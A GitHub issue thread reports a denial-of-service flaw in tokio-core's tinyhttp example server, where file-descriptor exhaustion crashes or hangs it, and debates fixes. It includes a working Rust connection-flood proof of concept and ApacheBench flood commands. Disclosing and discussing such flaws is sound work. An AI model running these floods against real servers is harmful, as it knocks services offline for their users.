Denial of Service vulnerability in example tinyhttp

[klausi]

Originally found in hyperium/hyper#1358

the tinyhttp example in tokio-core is vulnerable to DoS attacks because it does not catch IO errors and the server crashes. That happens if the number of file descriptors is exhausted for the server process, resulting in a "Too many open files" IO error.

An attacker just needs to flood the server with TCP connections, proof of concept:

extern crate futures;
extern crate tokio_core;
extern crate tokio_io;

use std::net::ToSocketAddrs;

use futures::Future;
use futures::future::{join_all, loop_fn, Loop};
use tokio_core::net::TcpStream;
use tokio_core::reactor::Core;

fn main() {
    let mut core = Core::new().unwrap();
    let handle = core.handle();
    // Address of the vulnerable server.
    let addr = "localhost:8080"
        .to_socket_addrs()
        .unwrap()
        .next()
        .unwrap();

    // Send 10 million requests.
    let nr_requests = 10_000_000;
    let concurrency = 100_000;

    let mut parallel = Vec::new();
    for _i in 0..concurrency {
        let requests_til_done = loop_fn(0, |counter| {
            // Just establish the TCP connection, do nothing otherwise.
            let socket = TcpStream::connect(&addr, &handle);

            socket.then(move |_| -> Result<_, std::io::Error> {
                if counter < (nr_requests / concurrency) {
                    Ok(Loop::Continue(counter + 1))
                } else {
                    Ok(Loop::Break(counter))
                }
            })
        });
        parallel.push(requests_til_done);
    }

    let work = join_all(parallel);
    core.run(work).unwrap();
}

People use this example as a template for their own servers, so this should be fixed to be secure by default.

Reported this vulnerability to Alex Crichton in private first, but he said that since this is related to just example code it can be handled in public.

[tailhook]

Is it really closed by 1fe55b2? While errors are skipped I believe socket will be always ready after an error, so the example will use 100% CPU untill some thread release some file descriptors. This is also a bad example for someone who processes requests in the same thread, as it will never release resources.

[alexcrichton]

I guess not? I don't really want to dilute the example with reams of error handling though...

[klausi]

Thanks Alex!

Just tested the exploit from above and it does not work anymore. The server keeps running and as soon as the attack is over it keeps on serving responses as expected without jumping to 100% CPU.

I have to check the other examples at https://tokio.rs/ , because they look vulnerable, too.

[tailhook]

Well, while rust is quite fast, this is reproducible anyway:

1. Set ulimit -n 50 and run example
2. Run apache benchmark against the example ab -n 100000 -c 1000 http://127.0.0.1:8080/
3. It hangs at about 90000 requests on my laptop with the following strace:

[pid 13956] accept4(5, 0x7ffd8b6c5800, [128], SOCK_CLOEXEC) = -1 EMFILE (Too many open files)                                                         
[pid 13956] accept4(5, 0x7ffd8b6c5800, [128], SOCK_CLOEXEC) = -1 EMFILE (Too many open files)
[pid 13956] accept4(5, 0x7ffd8b6c5800, [128], SOCK_CLOEXEC) = -1 EMFILE (Too many open files)
[pid 13956] accept4(5, 0x7ffd8b6c5800, [128], SOCK_CLOEXEC) = -1 EMFILE (Too many open files)
[pid 13956] accept4(5, 0x7ffd8b6c5800, [128], SOCK_CLOEXEC) = -1 EMFILE (Too many open files)
[pid 13956] accept4(5, 0x7ffd8b6c5800, [128], SOCK_CLOEXEC) = -1 EMFILE (Too many open files)

On faster machine it may require other tuning, but it's clearly not a solution. It just leaves a bit more time for other threads to free file descriptors.

Note the test has quite short-lived connections, if you add a sleep in the worker you don't need tuning of ulimit, just ask ab to make a number of concurrent connections (-c) bigger than number of file descriptor limit at server.

[klausi]

Ah, good catch! So the tinyhttp server does not crash anymore but it "hangs" and does not answer requests anymore when ApacheBench has sent a fair amount of requests. So we still have a denial of service vulnerability here, can you reopen this @alexcrichton ?

I was able to trigger the behavior with

ab -n 1000000 -c 1000 -r -s 1000 http://127.0.0.1:8080/plaintext

The -r flag ignores socket errors and -s increases the timeout.
When ApacheBench reaches 900k requests then tinyhttp starts to hang and you don't get a response in a normal browser from http://127.0.0.1:8080/plaintext

After some time tinyhttp heals itself and ApacheBench is able to finish and then requests to http://127.0.0.1:8080/plaintext work normally again.

I was not able to modify the Rust exploit example from the OP to trigger this vulnerability yet, can only reproduce with ApacheBench so far.

[alexcrichton]

It's important to keep in mind that this is just an example, intended to show off how to use Tokio and some basics of what's going on. Examples that come with hundreds of lines of error handling are misisng the purpose of the example (learning other pieces). If we'd like to have an example dedicated to "how to accept TCP sockets the right way" that sounds great to me!

As I mentioned before though I don't think we'll want to continue to water down this example with error handling as it detracts from the purpose of its existence.

[klausi]

Hm, would it make sense then to create a subfolder "insecure" in examples and move tinyhttp there? That way it would be obvious that people should not use it in production. Then we could create a prodhttp example with all the error handling that is needed to securely run this.

[alexcrichton]

Again I think that unfortunately detracts from the point of the example, not to highlight "insecurity" but instead to show an example of using Tokio. I think it would be fine for a comment to be placed saying "this may not always be what you want, look to $specific_location to see how this could be structured"